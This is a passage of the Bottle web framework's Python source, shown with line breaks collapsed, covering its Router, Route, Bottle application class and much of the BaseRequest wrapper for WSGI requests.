route is reset and all plugins are re-applied. """ class RouterUnknownModeError(RouteError): pass class RouteSyntaxError(RouteError): """ The route parser found something not supported by this router. """ class RouteBuildError(RouteError): """ The route could not be built. """ def _re_flatten(p): """ Turn all capturing groups in a regular expression pattern into non-capturing groups. """ if '(' not in p: return p return re.sub(r'(\\*)(\(\?P<[^>]+>|\((?!\?))', lambda m: m.group(0) if len(m.group(1)) % 2 else m.group(1) + '(?:', p) class Router(object): """ A Router is an ordered collection of route->target pairs. It is used to efficiently match WSGI requests against a number of routes and return the first target that satisfies the request. The target may be anything, usually a string, ID or callable object. A route consists of a path-rule and a HTTP method. The path-rule is either a static path (e.g. `/contact`) or a dynamic path that contains wildcards (e.g. `/wiki/<page>`). The wildcard syntax and details on the matching order are described in docs:`routing`. """ default_pattern = '[^/]+' default_filter = 're' #: The current CPython regexp implementation does not allow more #: than 99 matching groups per regular expression. _MAX_GROUPS_PER_PATTERN = 99 def __init__(self, strict=False): self.rules = [] # All rules in order self._groups = {} # index of regexes to find them in dyna_routes self.builder = {} # Data structure for the url builder self.static = {} # Search structure for static routes self.dyna_routes = {} self.dyna_regexes = {} # Search structure for dynamic routes #: If true, static routes are no longer checked first. self.strict_order = strict self.filters = { 're': lambda conf: (_re_flatten(conf or self.default_pattern), None, None), 'int': lambda conf: (r'-?\d+', int, lambda x: str(int(x))), 'float': lambda conf: (r'-?[\d.]+', float, lambda x: str(float(x))), 'path': lambda conf: (r'.+?', None, None) } def add_filter(self, name, func): """ Add a filter. The provided function is called with the configuration string as parameter and must return a (regexp, to_python, to_url) tuple. The first element is a string, the last two are callables or None. """ self.filters[name] = func rule_syntax = re.compile('(\\\\*)' '(?:(?::([a-zA-Z_][a-zA-Z_0-9]*)?()(?:#(.*?)#)?)' '|(?:<([a-zA-Z_][a-zA-Z_0-9]*)?(?::([a-zA-Z_]*)' '(?::((?:\\\\.|[^\\\\>]+)+)?)?)?>))') def _itertokens(self, rule): offset, prefix = 0, '' for match in self.rule_syntax.finditer(rule): prefix += rule[offset:match.start()] g = match.groups() if len(g[0]) % 2: # Escaped wildcard prefix += match.group(0)[len(g[0]):] offset = match.end() continue if prefix: yield prefix, None, None name, filtr, conf = g[4:7] if g[2] is None else g[1:4] yield name, filtr or 'default', conf or None offset, prefix = match.end(), '' if offset <= len(rule) or prefix: yield prefix + rule[offset:], None, None def add(self, rule, method, target, name=None): """ Add a new rule or replace the target for an existing rule. """ anons = 0 # Number of anonymous wildcards found keys = [] # Names of keys pattern = '' # Regular expression pattern with named groups filters = [] # Lists of wildcard input filters builder = [] # Data structure for the URL builder is_static = True for key, mode, conf in self._itertokens(rule): if mode: is_static = False if mode == 'default': mode = self.default_filter mask, in_filter, out_filter = self.filters[mode](conf) if not key: pattern += '(?:%s)' % mask key = 'anon%d' % anons anons += 1 else: pattern += '(?P<%s>%s)' % (key, mask) keys.append(key) if in_filter: filters.append((key, in_filter)) builder.append((key, out_filter or str)) elif key: pattern += re.escape(key) builder.append((None, key)) self.builder[rule] = builder if name: self.builder[name] = builder if is_static and not self.strict_order: self.static.setdefault(method, {}) self.static[method][self.build(rule)] = (target, None) return try: re_pattern = re.compile('^(%s)$' % pattern) re_match = re_pattern.match except re.error: raise RouteSyntaxError("Could not add Route: %s (%s)" % (rule, _e())) if filters: def getargs(path): url_args = re_match(path).groupdict() for name, wildcard_filter in filters: try: url_args[name] = wildcard_filter(url_args[name]) except ValueError: raise HTTPError(400, 'Path has wrong format.') return url_args elif re_pattern.groupindex: def getargs(path): return re_match(path).groupdict() else: getargs = None flatpat = _re_flatten(pattern) whole_rule = (rule, flatpat, target, getargs) if (flatpat, method) in self._groups: if DEBUG: msg = 'Route <%s %s> overwrites a previously defined route' warnings.warn(msg % (method, rule), RuntimeWarning) self.dyna_routes[method][ self._groups[flatpat, method]] = whole_rule else: self.dyna_routes.setdefault(method, []).append(whole_rule) self._groups[flatpat, method] = len(self.dyna_routes[method]) - 1 self._compile(method) def _compile(self, method): all_rules = self.dyna_routes[method] comborules = self.dyna_regexes[method] = [] maxgroups = self._MAX_GROUPS_PER_PATTERN for x in range(0, len(all_rules), maxgroups): some = all_rules[x:x + maxgroups] combined = (flatpat for (_, flatpat, _, _) in some) combined = '|'.join('(^%s$)' % flatpat for flatpat in combined) combined = re.compile(combined).match rules = [(target, getargs) for (_, _, target, getargs) in some] comborules.append((combined, rules)) def build(self, _name, *anons, **query): """ Build an URL by filling the wildcards in a rule. """ builder = self.builder.get(_name) if not builder: raise RouteBuildError("No route with that name.", _name) try: for i, value in enumerate(anons): query['anon%d' % i] = value url = ''.join([f(query.pop(n)) if n else f for (n, f) in builder]) return url if not query else url + '?' + urlencode(query) except KeyError: raise RouteBuildError('Missing URL argument: %r' % _e().args[0]) def match(self, environ): """ Return a (target, url_args) tuple or raise HTTPError(400/404/405). """ verb = environ['REQUEST_METHOD'].upper() path = environ['PATH_INFO'] or '/' if verb == 'HEAD': methods = ['PROXY', verb, 'GET', 'ANY'] else: methods = ['PROXY', verb, 'ANY'] for method in methods: if method in self.static and path in self.static[method]: target, getargs = self.static[method][path] return target, getargs(path) if getargs else {} elif method in self.dyna_regexes: for combined, rules in self.dyna_regexes[method]: match = combined(path) if match: target, getargs = rules[match.lastindex - 1] return target, getargs(path) if getargs else {} # No matching route found. Collect alternative methods for 405 response allowed = set([]) nocheck = set(methods) for method in set(self.static) - nocheck: if path in self.static[method]: allowed.add(verb) for method in set(self.dyna_regexes) - allowed - nocheck: for combined, rules in self.dyna_regexes[method]: match = combined(path) if match: allowed.add(method) if allowed: allow_header = ",".join(sorted(allowed)) raise HTTPError(405, "Method not allowed.", Allow=allow_header) # No matching route and no alternative method found. We give up raise HTTPError(404, "Not found: " + repr(path)) class Route(object): """ This class wraps a route callback along with route specific metadata and configuration and applies Plugins on demand. It is also responsible for turing an URL path rule into a regular expression usable by the Router. """ def __init__(self, app, rule, method, callback, name=None, plugins=None, skiplist=None, **config): #: The application this route is installed to. self.app = app #: The path-rule string (e.g. ``/wiki/<page>``). self.rule = rule #: The HTTP method as a string (e.g. ``GET``). self.method = method #: The original callback with no plugins applied. Useful for introspection. self.callback = callback #: The name of the route (if specified) or ``None``. self.name = name or None #: A list of route-specific plugins (see :meth:`Bottle.route`). self.plugins = plugins or [] #: A list of plugins to not apply to this route (see :meth:`Bottle.route`). self.skiplist = skiplist or [] #: Additional keyword arguments passed to the :meth:`Bottle.route` #: decorator are stored in this dictionary. Used for route-specific #: plugin configuration and meta-data. self.config = ConfigDict().load_dict(config) @cached_property def call(self): """ The route callback with all plugins applied. This property is created on demand and then cached to speed up subsequent requests.""" return self._make_callback() def reset(self): """ Forget any cached values. The next time :attr:`call` is accessed, all plugins are re-applied. """ self.__dict__.pop('call', None) def prepare(self): """ Do all on-demand work immediately (useful for debugging).""" self.call def all_plugins(self): """ Yield all Plugins affecting this route. """ unique = set() for p in reversed(self.app.plugins + self.plugins): if True in self.skiplist: break name = getattr(p, 'name', False) if name and (name in self.skiplist or name in unique): continue if p in self.skiplist or type(p) in self.skiplist: continue if name: unique.add(name) yield p def _make_callback(self): callback = self.callback for plugin in self.all_plugins(): try: if hasattr(plugin, 'apply'): callback = plugin.apply(callback, self) else: callback = plugin(callback) except RouteReset: # Try again with changed configuration. return self._make_callback() if not callback is self.callback: update_wrapper(callback, self.callback) return callback def get_undecorated_callback(self): """ Return the callback. If the callback is a decorated function, try to recover the original function. """ func = self.callback func = getattr(func, '__func__' if py3k else 'im_func', func) closure_attr = '__closure__' if py3k else 'func_closure' while hasattr(func, closure_attr) and getattr(func, closure_attr): attributes = getattr(func, closure_attr) func = attributes[0].cell_contents # in case of decorators with multiple arguments if not isinstance(func, FunctionType): # pick first FunctionType instance from multiple arguments func = filter(lambda x: isinstance(x, FunctionType), map(lambda x: x.cell_contents, attributes)) func = list(func)[0] # py3 support return func def get_callback_args(self): """ Return a list of argument names the callback (most likely) accepts as keyword arguments. If the callback is a decorated function, try to recover the original function before inspection. """ return getargspec(self.get_undecorated_callback())[0] def get_config(self, key, default=None): """ Lookup a config field and return its value, first checking the route.config, then route.app.config.""" for conf in (self.config, self.app.config): if key in conf: return conf[key] return default def __repr__(self): cb = self.get_undecorated_callback() return '<%s %r %r>' % (self.method, self.rule, cb) ############################################################################### # Application Object ########################################################### ############################################################################### class Bottle(object): """ Each Bottle object represents a single, distinct web application and consists of routes, callbacks, plugins, resources and configuration. Instances are callable WSGI applications. :param catchall: If true (default), handle all exceptions. Turn off to let debugging middleware handle exceptions. """ def __init__(self, catchall=True, autojson=True): #: A :class:`ConfigDict` for app specific configuration. self.config = ConfigDict() self.config._on_change = functools.partial(self.trigger_hook, 'config') self.config.meta_set('autojson', 'validate', bool) self.config.meta_set('catchall', 'validate', bool) self.config['catchall'] = catchall self.config['autojson'] = autojson #: A :class:`ResourceManager` for application files self.resources = ResourceManager() self.routes = [] # List of installed :class:`Route` instances. self.router = Router() # Maps requests to :class:`Route` instances. self.error_handler = {} # Core plugins self.plugins = [] # List of installed plugins. if self.config['autojson']: self.install(JSONPlugin()) self.install(TemplatePlugin()) #: If true, most exceptions are caught and returned as :exc:`HTTPError` catchall = DictProperty('config', 'catchall') __hook_names = 'before_request', 'after_request', 'app_reset', 'config' __hook_reversed = 'after_request' @cached_property def _hooks(self): return dict((name, []) for name in self.__hook_names) def add_hook(self, name, func): """ Attach a callback to a hook. Three hooks are currently implemented: before_request Executed once before each request. The request context is available, but no routing has happened yet. after_request Executed once after each request regardless of its outcome. app_reset Called whenever :meth:`Bottle.reset` is called. """ if name in self.__hook_reversed: self._hooks[name].insert(0, func) else: self._hooks[name].append(func) def remove_hook(self, name, func): """ Remove a callback from a hook. """ if name in self._hooks and func in self._hooks[name]: self._hooks[name].remove(func) return True def trigger_hook(self, __name, *args, **kwargs): """ Trigger a hook and return a list of results. """ return [hook(*args, **kwargs) for hook in self._hooks[__name][:]] def hook(self, name): """ Return a decorator that attaches a callback to a hook. See :meth:`add_hook` for details.""" def decorator(func): self.add_hook(name, func) return func return decorator def mount(self, prefix, app, **options): """ Mount an application (:class:`Bottle` or plain WSGI) to a specific URL prefix. Example:: root_app.mount('/admin/', admin_app) :param prefix: path prefix or `mount-point`. If it ends in a slash, that slash is mandatory. :param app: an instance of :class:`Bottle` or a WSGI application. All other parameters are passed to the underlying :meth:`route` call. """ segments = [p for p in prefix.split('/') if p] if not segments: raise ValueError('Empty path prefix.') path_depth = len(segments) def mountpoint_wrapper(): try: request.path_shift(path_depth) rs = HTTPResponse([]) def start_response(status, headerlist, exc_info=None): if exc_info: _raise(*exc_info) rs.status = status for name, value in headerlist: rs.add_header(name, value) return rs.body.append body = app(request.environ, start_response) rs.body = itertools.chain(rs.body, body) if rs.body else body return rs finally: request.path_shift(-path_depth) options.setdefault('skip', True) options.setdefault('method', 'PROXY') options.setdefault('mountpoint', {'prefix': prefix, 'target': app}) options['callback'] = mountpoint_wrapper self.route('/%s/<:re:.*>' % '/'.join(segments), **options) if not prefix.endswith('/'): self.route('/' + '/'.join(segments), **options) def merge(self, routes): """ Merge the routes of another :class:`Bottle` application or a list of :class:`Route` objects into this application. The routes keep their 'owner', meaning that the :data:`Route.app` attribute is not changed. """ if isinstance(routes, Bottle): routes = routes.routes for route in routes: self.add_route(route) def install(self, plugin): """ Add a plugin to the list of plugins and prepare it for being applied to all routes of this application. A plugin may be a simple decorator or an object that implements the :class:`Plugin` API. """ if hasattr(plugin, 'setup'): plugin.setup(self) if not callable(plugin) and not hasattr(plugin, 'apply'): raise TypeError("Plugins must be callable or implement .apply()") self.plugins.append(plugin) self.reset() return plugin def uninstall(self, plugin): """ Uninstall plugins. Pass an instance to remove a specific plugin, a type object to remove all plugins that match that type, a string to remove all plugins with a matching ``name`` attribute or ``True`` to remove all plugins. Return the list of removed plugins. """ removed, remove = [], plugin for i, plugin in list(enumerate(self.plugins))[::-1]: if remove is True or remove is plugin or remove is type(plugin) \ or getattr(plugin, 'name', True) == remove: removed.append(plugin) del self.plugins[i] if hasattr(plugin, 'close'): plugin.close() if removed: self.reset() return removed def reset(self, route=None): """ Reset all routes (force plugins to be re-applied) and clear all caches. If an ID or route object is given, only that specific route is affected. """ if route is None: routes = self.routes elif isinstance(route, Route): routes = [route] else: routes = [self.routes[route]] for route in routes: route.reset() if DEBUG: for route in routes: route.prepare() self.trigger_hook('app_reset') def close(self): """ Close the application and all installed plugins. """ for plugin in self.plugins: if hasattr(plugin, 'close'): plugin.close() def run(self, **kwargs): """ Calls :func:`run` with the same parameters. """ run(self, **kwargs) def match(self, environ): """ Search for a matching route and return a (:class:`Route` , urlargs) tuple. The second value is a dictionary with parameters extracted from the URL. Raise :exc:`HTTPError` (404/405) on a non-match.""" return self.router.match(environ) def get_url(self, routename, **kargs): """ Return a string that matches a named route """ scriptname = request.environ.get('SCRIPT_NAME', '').strip('/') + '/' location = self.router.build(routename, **kargs).lstrip('/') return urljoin(urljoin('/', scriptname), location) def add_route(self, route): """ Add a route object, but do not change the :data:`Route.app` attribute.""" self.routes.append(route) self.router.add(route.rule, route.method, route, name=route.name) if DEBUG: route.prepare() def route(self, path=None, method='GET', callback=None, name=None, apply=None, skip=None, **config): """ A decorator to bind a function to a request URL. Example:: @app.route('/hello/<name>') def hello(name): return 'Hello %s' % name The ``<name>`` part is a wildcard. See :class:`Router` for syntax details. :param path: Request path or a list of paths to listen to. If no path is specified, it is automatically generated from the signature of the function. :param method: HTTP method (`GET`, `POST`, `PUT`, ...) or a list of methods to listen to. (default: `GET`) :param callback: An optional shortcut to avoid the decorator syntax. ``route(..., callback=func)`` equals ``route(...)(func)`` :param name: The name for this route. (default: None) :param apply: A decorator or plugin or a list of plugins. These are applied to the route callback in addition to installed plugins. :param skip: A list of plugins, plugin classes or names. Matching plugins are not installed to this route. ``True`` skips all. Any additional keyword arguments are stored as route-specific configuration and passed to plugins (see :meth:`Plugin.apply`). """ if callable(path): path, callback = None, path plugins = makelist(apply) skiplist = makelist(skip) def decorator(callback): if isinstance(callback, basestring): callback = load(callback) for rule in makelist(path) or yieldroutes(callback): for verb in makelist(method): verb = verb.upper() route = Route(self, rule, verb, callback, name=name, plugins=plugins, skiplist=skiplist, **config) self.add_route(route) return callback return decorator(callback) if callback else decorator def get(self, path=None, method='GET', **options): """ Equals :meth:`route`. """ return self.route(path, method, **options) def post(self, path=None, method='POST', **options): """ Equals :meth:`route` with a ``POST`` method parameter. """ return self.route(path, method, **options) def put(self, path=None, method='PUT', **options): """ Equals :meth:`route` with a ``PUT`` method parameter. """ return self.route(path, method, **options) def delete(self, path=None, method='DELETE', **options): """ Equals :meth:`route` with a ``DELETE`` method parameter. """ return self.route(path, method, **options) def patch(self, path=None, method='PATCH', **options): """ Equals :meth:`route` with a ``PATCH`` method parameter. """ return self.route(path, method, **options) def error(self, code=500): """ Decorator: Register an output handler for a HTTP error code""" def wrapper(handler): self.error_handler[int(code)] = handler return handler return wrapper def default_error_handler(self, res): return tob(template(ERROR_PAGE_TEMPLATE, e=res)) def _handle(self, environ): path = environ['bottle.raw_path'] = environ['PATH_INFO'] if py3k: environ['PATH_INFO'] = path.encode('latin1').decode('utf8', 'ignore') def _inner_handle(): # Maybe pass variables as locals for better performance? try: route, args = self.router.match(environ) environ['route.handle'] = route environ['bottle.route'] = route environ['route.url_args'] = args return route.call(**args) except HTTPResponse: return _e() except RouteReset: route.reset() return _inner_handle() except (KeyboardInterrupt, SystemExit, MemoryError): raise except Exception: if not self.catchall: raise stacktrace = format_exc() environ['wsgi.errors'].write(stacktrace) return HTTPError(500, "Internal Server Error", _e(), stacktrace) try: out = None environ['bottle.app'] = self request.bind(environ) response.bind() self.trigger_hook('before_request') out = _inner_handle() return out; finally: if isinstance(out, HTTPResponse): out.apply(response) self.trigger_hook('after_request') def _cast(self, out, peek=None): """ Try to convert the parameter into something WSGI compatible and set correct HTTP headers when possible. Support: False, str, unicode, dict, HTTPResponse, HTTPError, file-like, iterable of strings and iterable of unicodes """ # Empty output is done here if not out: if 'Content-Length' not in response: response['Content-Length'] = 0 return [] # Join lists of byte or unicode strings. Mixed lists are NOT supported if isinstance(out, (tuple, list))\ and isinstance(out[0], (bytes, unicode)): out = out[0][0:0].join(out) # b'abc'[0:0] -> b'' # Encode unicode strings if isinstance(out, unicode): out = out.encode(response.charset) # Byte Strings are just returned if isinstance(out, bytes): if 'Content-Length' not in response: response['Content-Length'] = len(out) return [out] # HTTPError or HTTPException (recursive, because they may wrap anything) # TODO: Handle these explicitly in handle() or make them iterable. if isinstance(out, HTTPError): out.apply(response) out = self.error_handler.get(out.status_code, self.default_error_handler)(out) return self._cast(out) if isinstance(out, HTTPResponse): out.apply(response) return self._cast(out.body) # File-like objects. if hasattr(out, 'read'): if 'wsgi.file_wrapper' in request.environ: return request.environ['wsgi.file_wrapper'](out) elif hasattr(out, 'close') or not hasattr(out, '__iter__'): return WSGIFileWrapper(out) # Handle Iterables. We peek into them to detect their inner type. try: iout = iter(out) first = next(iout) while not first: first = next(iout) except StopIteration: return self._cast('') except HTTPResponse: first = _e() except (KeyboardInterrupt, SystemExit, MemoryError): raise except: if not self.catchall: raise first = HTTPError(500, 'Unhandled exception', _e(), format_exc()) # These are the inner types allowed in iterator or generator objects. if isinstance(first, HTTPResponse): return self._cast(first) elif isinstance(first, bytes): new_iter = itertools.chain([first], iout) elif isinstance(first, unicode): encoder = lambda x: x.encode(response.charset) new_iter = imap(encoder, itertools.chain([first], iout)) else: msg = 'Unsupported response type: %s' % type(first) return self._cast(HTTPError(500, msg)) if hasattr(out, 'close'): new_iter = _closeiter(new_iter, out.close) return new_iter def wsgi(self, environ, start_response): """ The bottle WSGI-interface. """ try: out = self._cast(self._handle(environ)) # rfc2616 section 4.3 if response._status_code in (100, 101, 204, 304)\ or environ['REQUEST_METHOD'] == 'HEAD': if hasattr(out, 'close'): out.close() out = [] start_response(response._status_line, response.headerlist) return out except (KeyboardInterrupt, SystemExit, MemoryError): raise except: if not self.catchall: raise err = '<h1>Critical error while processing request: %s</h1>' \ % html_escape(environ.get('PATH_INFO', '/')) if DEBUG: err += '<h2>Error:</h2>\n<pre>\n%s\n</pre>\n' \ '<h2>Traceback:</h2>\n<pre>\n%s\n</pre>\n' \ % (html_escape(repr(_e())), html_escape(format_exc())) environ['wsgi.errors'].write(err) headers = [('Content-Type', 'text/html; charset=UTF-8')] start_response('500 INTERNAL SERVER ERROR', headers, sys.exc_info()) return [tob(err)] def __call__(self, environ, start_response): """ Each instance of :class:'Bottle' is a WSGI application. """ return self.wsgi(environ, start_response) def __enter__(self): """ Use this application as default for all module-level shortcuts. """ default_app.push(self) return self def __exit__(self, exc_type, exc_value, traceback): default_app.pop() def __setattr__(self, name, value): if name in self.__dict__: raise AttributeError("Attribute %s already defined. Plugin conflict?" % name) self.__dict__[name] = value ############################################################################### # HTTP and WSGI Tools ########################################################## ############################################################################### class BaseRequest(object): """ A wrapper for WSGI environment dictionaries that adds a lot of convenient access methods and properties. Most of them are read-only. Adding new attributes to a request actually adds them to the environ dictionary (as 'bottle.request.ext.<name>'). This is the recommended way to store and access request-specific data. """ __slots__ = ('environ', ) #: Maximum size of memory buffer for :attr:`body` in bytes. MEMFILE_MAX = 102400 def __init__(self, environ=None): """ Wrap a WSGI environ dictionary. """ #: The wrapped WSGI environ dictionary. This is the only real attribute. #: All other attributes actually are read-only properties. self.environ = {} if environ is None else environ self.environ['bottle.request'] = self @DictProperty('environ', 'bottle.app', read_only=True) def app(self): """ Bottle application handling this request. """ raise RuntimeError('This request is not connected to an application.') @DictProperty('environ', 'bottle.route', read_only=True) def route(self): """ The bottle :class:`Route` object that matches this request. """ raise RuntimeError('This request is not connected to a route.') @DictProperty('environ', 'route.url_args', read_only=True) def url_args(self): """ The arguments extracted from the URL. """ raise RuntimeError('This request is not connected to a route.') @property def path(self): """ The value of ``PATH_INFO`` with exactly one prefixed slash (to fix broken clients and avoid the "empty path" edge case). """ return '/' + self.environ.get('PATH_INFO', '').lstrip('/') @property def method(self): """ The ``REQUEST_METHOD`` value as an uppercase string. """ return self.environ.get('REQUEST_METHOD', 'GET').upper() @DictProperty('environ', 'bottle.request.headers', read_only=True) def headers(self): """ A :class:`WSGIHeaderDict` that provides case-insensitive access to HTTP request headers. """ return WSGIHeaderDict(self.environ) def get_header(self, name, default=None): """ Return the value of a request header, or a given default value. """ return self.headers.get(name, default) @DictProperty('environ', 'bottle.request.cookies', read_only=True) def cookies(self): """ Cookies parsed into a :class:`FormsDict`. Signed cookies are NOT decoded. Use :meth:`get_cookie` if you expect signed cookies. """ cookies = SimpleCookie(self.environ.get('HTTP_COOKIE', '')).values() return FormsDict((c.key, c.value) for c in cookies) def get_cookie(self, key, default=None, secret=None): """ Return the content of a cookie. To read a `Signed Cookie`, the `secret` must match the one used to create the cookie (see :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing cookie or wrong signature), return a default value. """ value = self.cookies.get(key) if secret and value: dec = cookie_decode(value, secret) # (key, value) tuple or None return dec[1] if dec and dec[0] == key else default return value or default @DictProperty('environ', 'bottle.request.query', read_only=True) def query(self): """ The :attr:`query_string` parsed into a :class:`FormsDict`. These values are sometimes called "URL arguments" or "GET parameters", but not to be confused with "URL wildcards" as they are provided by the :class:`Router`. """ get = self.environ['bottle.get'] = FormsDict() pairs = _parse_qsl(self.environ.get('QUERY_STRING', '')) for key, value in pairs: get[key] = value return get @DictProperty('environ', 'bottle.request.forms', read_only=True) def forms(self): """ Form values parsed from an `url-encoded` or `multipart/form-data` encoded POST or PUT request body. The result is returned as a :class:`FormsDict`. All keys and values are strings. File uploads are stored separately in :attr:`files`. """ forms = FormsDict() for name, item in self.POST.allitems(): if not isinstance(item, FileUpload): forms[name] = item return forms @DictProperty('environ', 'bottle.request.params', read_only=True) def params(self): """ A :class:`FormsDict` with the combined values of :attr:`query` and :attr:`forms`. File uploads are stored in :attr:`files`. """ params = FormsDict() for key, value in self.query.allitems(): params[key] = value for key, value in self.forms.allitems(): params[key] = value return params @DictProperty('environ', 'bottle.request.files', read_only=True) def files(self): """ File uploads parsed from `multipart/form-data` encoded POST or PUT request body. The values are instances of :class:`FileUpload`. """ files = FormsDict() for name, item in self.POST.allitems(): if isinstance(item, FileUpload): files[name] = item return files @DictProperty('environ', 'bottle.request.json', read_only=True) def json(self): """ If the ``Content-Type`` header is ``application/json``, this property holds the parsed content of the request body. Only requests smaller than :attr:`MEMFILE_MAX` are processed to avoid memory exhaustion. Invalid JSON raises a 400 error response. """ ctype = self.environ.get('CONTENT_TYPE', '').lower().split(';')[0] if ctype == 'application/json': b = self._get_body_string() if not b: return None try: return json_loads(b) except (ValueError, TypeError): raise HTTPError(400, 'Invalid JSON') return None def _iter_body(self, read, bufsize): maxread = max(0, self.content_length) while maxread: part = read(min(maxread, bufsize)) if not part: break yield part maxread -= len(part) @staticmethod def _iter_chunked(read, bufsize): err = HTTPError(400, 'Error while parsing chunked transfer body.') rn, sem, bs = tob('\r\n'), tob(';'), tob('') while True: header = read(1) while header[-2:] != rn: c = read(1) header += c if not c: raise err if len(header) > bufsize: raise err size, _, _ = header.partition(sem) try: maxread = int(tonat(size.strip()), 16) except ValueError: raise err if maxread == 0: break buff = bs while maxread > 0: if not buff: buff = read(min(maxread, bufsize)) part, buff = buff[:maxread], buff[maxread:] if not part: raise err yield part maxread -= len(part) if read(2) != rn: raise err @DictProperty('environ', 'bottle.request.body', read_only=True) def _body(self): try: read_func = self.environ['wsgi.input'].read except KeyError: self.environ['wsgi.input'] = BytesIO() return self.environ['wsgi.input'] body_iter = self._iter_chunked if self.chunked else self._iter_body body, body_size, is_temp_file = BytesIO(), 0, False for part in body_iter(read_func, self.MEMFILE_MAX): body.write(part) body_size += len(part) if not is_temp_file and body_size > self.MEMFILE_MAX: body, tmp = TemporaryFile(mode='w+b'), body body.write(tmp.getvalue()) del tmp is_temp_file = True self.environ['wsgi.input'] = body body.seek(0) return body def _get_body_string(self): """ read body until content-length or MEMFILE_MAX into a string. Raise HTTPError(413) on requests that are to large. """ clen = self.content_length if clen > self.MEMFILE_MAX: raise HTTPError(413, 'Request entity too large') if clen < 0: clen = self.MEMFILE_MAX + 1 data = self.body.read(clen) if len(data) > self.MEMFILE_MAX: # Fail fast raise HTTPError(413, 'Request entity too large') return data @property def body(self): """ The HTTP request body as a seek-able file-like object. Depending on :attr:`MEMFILE_MAX`, this is either a temporary file or a :class:`io.BytesIO` instance. Accessing this property for the first time reads and replaces the ``wsgi.input`` environ variable. Subsequent accesses just do a `seek(0)` on the file object. """ self._body.seek(0) return self._body @property def chunked(self): """ True if Chunked transfer encoding was. """ return 'chunked' in self.environ.get( 'HTTP_TRANSFER_ENCODING', '').lower() #: An alias for :attr:`query`. GET = query @DictProperty('environ', 'bottle.request.post', read_only=True) def POST(self): """ The values of :attr:`forms` and :attr:`files` combined into a single :class:`FormsDict`. Values are either strings (form values) or instances of :class:`cgi.FieldStorage` (file uploads). """ post = FormsDict() # We default to application/x-www-form-urlencoded for everything that # is not multipart and take the fast path (also: 3.1 workaround) if not self.content_type.startswith('multipart/'): pairs = _parse_qsl(tonat(self._get_body_string(), 'latin1')) for key, value in pairs: post[key] = value return post safe_env = {'QUERY_STRING': ''} # Build a safe environment for cgi for key in ('REQUEST_METHOD', 'CONTENT_TYPE', 'CONTENT_LENGTH'): if key in self.environ: safe_env[key] = self.environ[key] args = dict(fp=self.body, environ=safe_env, keep_blank_values=True) if py31: args['fp'] = NCTextIOWrapper(args['fp'], encoding='utf8', newline='\n') elif py3k: args['encoding'] = 'utf8' data = cgi.FieldStorage(**args) self['_cgi.FieldStorage'] = data #http://bugs.python.org/issue18394 data = data.list or [] for item in data: if item.filename: post[item.name] = FileUpload(item.file, item.name, item.filename, item.headers) else: post[item.name] = item.value return post @property def url(self): """ The full request URI including hostname and scheme. If your app lives behind a reverse proxy or load balancer and you get confusing results, make sure that the ``X-Forwarded-Host`` header is set correctly. """ return self.urlparts.geturl() @DictProperty('environ', 'bottle.request.urlparts', read_only=True) def urlparts(self): """ The :attr:`url` string as an :class:`urlparse.SplitResult` tuple. The tuple contains (scheme, host, path, query_string and fragment), but the fragment is always empty because it is not visible to the server. """ env = self.environ http = env.get('HTTP_X_FORWARDED_PROTO') \ or env.get('wsgi.url_scheme', 'http') host = env.get('HTTP_X_FORWARDED_HOST') or env.get('HTTP_HOST') if not host: # HTTP 1.1 requires a Host-header. This is for HTTP/1.0 clients. host = env.get('SERVER_NAME', '127.0.0.1') port = env.get('SERVER_PORT') if port and port != ('80' if http == 'http' else '443'): host += ':' + port path = urlquote(self.fullpath) return UrlSplitResult(http, host, path, env.get('QUERY_STRING'), '') @property def fullpath(self): """ Request path including :attr:`script_name` (if present). """ return urljoin(self.script_name, self.path.lstrip('/')) @property def query_string(self): """ The raw :attr:`query` part of the URL (everything in between ``?`` and ``#``) as a string. """ return self.environ.get('QUERY_STRING', '') @property def script_name(self): """ The initial portion of the URL's `path` that was removed by a higher level (server or routing middleware) before the application was called. This script path is returned with leading and tailing slashes. """ script_name = self.environ.get('SCRIPT_NAME', '').strip('/') return '/' + script_name + '/' if script_name else '/' def path_shift(self, shift=1): """ Shift path segments from :attr:`path` to :attr:`script_name` and vice versa. :param shift: The number of path segments to shift. May be negative to change the shift direction. (default: 1) """ script, path = path_shift(self.environ.get('SCRIPT_NAME', '/'), self.path, shift) self['SCRIPT_NAME'], self['PATH_INFO'] = script, path @property def content_length(self): """ The request body length as an integer. The client is responsible to set this header. Otherwise, the real length of the body is unknown and -1 is returned. In this case, :attr:`body` will be empty. """ return int(self.environ.get('CONTENT_LENGTH') or -1) @property def content_type(self): """ The Content-Type header as a lowercase-string (default: empty). """ return self.environ.get('CONTENT_TYPE', '').lower() @property def is_xhr(self): """ True if the request was triggered by a XMLHttpRequest. This only works with JavaScript libraries that support the `X-Requested-With` header (most of the popular libraries do). """ requested_with = self.environ.get('HTTP_X_REQUESTED_WITH', '') return requested_with.lower() == 'xmlhttprequest' @property def is_ajax(self): """ Alias for :attr:`is_xhr`. "Ajax" is not the right term. """ return self.is_xhr @property def auth(self): """ HTTP authentication data as a (user, password) tuple. This implementation currently supports basic (not digest) authentication only. If the authentication happened at a higher level (e.g. in the front web-server or a middleware), the password field is None, but the user field is looked up from the ``REMOTE_USER`` environ variable. On any errors, None is returned. """ basic = parse_auth(self.environ.get('HTTP_AUTHORIZATION', '')) if basic: return basic ruser = self.environ.get('REMOTE_USER') if ruser: return (ruser, None) return None @property def remote_route(self): """ A list of all IPs that were involved in this request, starting with the client IP and followed by zero or more proxies. This does only work if all proxies support the ```X-Forwarded-For`` header. Note that this information can be forged by malicious clients. """ proxy = self.environ.get('HTTP_X_FORWARDED_FOR') if proxy: return [ip.strip() for ip in proxy.split(',')] remote = self.environ.get('REMOTE_ADDR') return [remote] if remote else [] @property def remote_addr(self): """ The client IP as a string. Note that this information can be forged by malicious clients. """ route = self.remote_route return route[0] if route else None def copy(self): """ Return a new :class:`Request` with a shallow :attr:`environ` copy. """ return Request(self.environ.copy()) def get(self, value, default=None): return self.environ.get(value, default) def __getitem__(self, key): return self.environ[key] def __delitem__(self, key): self[key] = "" del (self.environ[key]) def __iter__(self): return iter(self.environ) def __len__(self): return len(self.environ) def keys(self): return self.environ.keys() def __setitem__(self, key, value): """ Change an environ value and clear all caches that depend on it. """ if self.environ.get('bottle.request.readonly'): raise KeyError('The environ dictionary is read-only.') self.environ[key] = value todelete = () if key == 'wsgi.input': todelete = ('body', 'forms', 'files', 'params', 'post', 'json') elif key == 'QUERY_STRING': todelete = ('query', 'params') elif key.startswith('HTTP_'): todelete = ('headers', 'cookies') for key in todelete: self.environ.pop('bottle.request.' + key, None) def __repr__(self): return '<%s: %s 